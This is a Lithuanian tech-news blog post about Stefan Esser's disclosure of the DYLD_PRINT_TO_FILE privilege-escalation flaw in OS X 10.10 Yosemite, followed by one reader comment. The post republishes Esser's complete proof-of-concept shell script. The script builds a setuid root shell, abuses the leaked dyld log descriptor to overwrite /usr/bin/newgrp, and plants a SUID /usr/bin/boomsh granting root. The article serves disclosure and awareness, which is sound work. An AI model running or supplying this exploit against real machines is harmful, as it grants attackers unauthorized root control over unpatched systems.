Aptikta nauja OS X saugumo spraga

Temos: macOS, Saugumas

Saugumo spraga, naujausiame OS X atnaujinime leidžia programišiams prieiti prie duomenų su root vartotojo teisėmis.

Apie naują, OS X saugumo spragą, antradienį pranešė saugumo inžinierius Stefan Esser apibūdindamas šią operacinės sistemos saugumo spragą, kaip tokią, kurią programišiai pastoviai išnaudoja.

Ne per seniausiai Microsoft išleido atnaujinimą ištaisantį panašią saugumo spragą Windows operacinėje sistemoje, kuria pasinaudodami programišiai galėjo privilegijuotų vartotojų teises. Ši, Microsoft sistemų saugumo spraga aptikta dėka iš Milane įsikūrusios ir šnipinėjimo technologijomis besiverčiančios „Hacking Team“ pavogtų dokumentų.

Esser rašo, kad nauja, privilegijuoto vartotojo klaida OS X atsirado dėl naujų OS X 10.10 sistemos klaidų log’ų rašymo galimybių. Apple programuotojai praignoravo galimybę naudoti standartinę apsaugą pritaikant OS X dinaminių sąsajų dyld siejimą ir šis „neapsižiūrėjimas“ suteikia galimybę programišiams inicijuoti ar kurti failus suteikiančius root’o privilegijas. Tokias privilegijas turintys failai yra pavojingi ir juos galima išsaugoti bet kokioje OS X failinės sistemos vietoje.

Kadangi dyld niekada neuždaro log failų bei failas niekada nėra atidaromas su „close on exec“ žyma atidaryto failo deskriptorius paveldi „child“ procesus iš SUID binarinių failų/procesų.

Nesukant Jums smegenų techninėmis detalėmis, tie ką domina techniniai šios klaidos aspektai - informaciją ras Stefan Esser žiniaraščio straipsnyje, paminėsiu, kad šią klaidą savo kompiuteriuose turi OS X 10.10.4 Yosemite ir sekančios versijos beta vartotojai. Panašu, kad Apple inžinieriai apie šią klaidą žino, nes OS X El Capitan 10.11 - šios klaidos nebėra.

Galimas dalykas, šią saugumo spragą Apple patyliukais užlopys ateinančių poros savaičių bėgyje, o ir Apple atstovas patvirtino, kad kompanijos inžinieriai susipažinę su Esser’io blogo informacija.

Koncepto įrodymas
#!/bin/sh
#
# Paprastas DYLD_PRINT_TO_FILE saugumo spragos įrodymas
# vietinių privilegijų praplėtimo saugumo spraga OS X 10.10 - 10.10.4
#
# (C) Copyright 2015 Stefan Esser 
#
# Galite laukti kol Apple ištaisys šią klaidą arba įdiegti KEXT'ą iš
# https://github.com/sektioneins/SUIDGuard
#
# Naudodami rizikuojate. Bus kopijuojami, perrašomi ir trinami failai tai vykdant
# root teisėmis visoje sistemoje. Kokia nors klaidelė gali sugadinti jūsų sistemą. 
# Jūs buvote įspėti.

SUIDVICTIM=/usr/bin/newgrp

TARGET=`pwd`/tmpXXXXX

rm -rf $TARGET
mkdir $TARGET

cat << EOF > $TARGET/boomsh.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main()
{
        setuid(0);
        setgid(0);
        system("/bin/bash -i");
        printf("done.n");
        return 0;
}
EOF
cat << EOF > $TARGET/overwrite.c
#include <sys/types.h>
#include <fcntl.h>
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>

int main(int argc, char **argv)
{
        int fd;
        char buffer[1024];
        ssize_t toread, numread;
        ssize_t numwritten;
        ssize_t size;

        /* disable O_APPEND */
        fcntl(3, F_SETFL, 0);
        lseek(3, 0, SEEK_SET);

        /* write file into it */
        fd = open(
EOF
echo ""$TARGET/boomsh"" >> $TARGET/overwrite.c
cat << EOF >> $TARGET/overwrite.c
        , O_RDONLY, 0);
        if (fd > 0) {

                /* determine size */
                size = lseek(fd, 0, SEEK_END);
                lseek(fd, 0, SEEK_SET);

                while (size > 0) {
                        if (size > sizeof(buffer)) {
                                toread = sizeof(buffer);
                        } else {
                                toread = size;
                        }

                        numread = read(fd, &buffer, toread);
                        if (numread < toread) {
                                fprintf(stderr, "problem readingn");
                                _exit(2);
                        }
                        numwritten = write(3, &buffer, numread);
                        if (numread != numwritten) {
                                fprintf(stderr, "problem writingn");
                                _exit(2);
                        }

                        size -= numwritten;

                }

                fsync(3);
                close(fd);
        } else {
                fprintf(stderr, "Cannot open for readingn");
        }

        return 0;
}
EOF

cp $SUIDVICTIM $TARGET/backup
gcc -o $TARGET/overwrite $TARGET/overwrite.c
gcc -o $TARGET/boomsh $TARGET/boomsh.c

EDITOR=$TARGET/overwrite DYLD_PRINT_TO_FILE=$SUIDVICTIM crontab -e 2> /dev/null
echo "cp $TARGET/boomsh /usr/bin/boomsh; chmod 04755 /usr/bin/boomsh " | $SUIDVICTIM > /dev/null 2> /dev/null
echo "cp $TARGET/backup $SUIDVICTIM" | /usr/bin/boomsh > /dev/null 2> /dev/null

rm -rf $TARGET

/usr/bin/boomsh
Pasidalinti straipsniu:

Apie Ramūnas Blavaščiūnas

Fotografijos, geros technikos ir kavos mylėtojas

Vienas komentaras

  1. Kadangi MAC OS naudojasi labai maza dalis, jis buvo saugus ir patikimas. Kadangi populerumas vis nori augti ( bet tikrai nepakeis windows ) virusu ir visu kitu kenkeju skaicius kyla.

    Ant mazai besinaudojanciu platformu tiesiog neapsimoka ju kurti. Todel Windows ju apstu...

Atsakyti DNABUG Atšaukti atsakymą

Jūsų elektroninio pašto adresas nebus viešinamas. Būtini laukai pažymėti *

*

Į viršų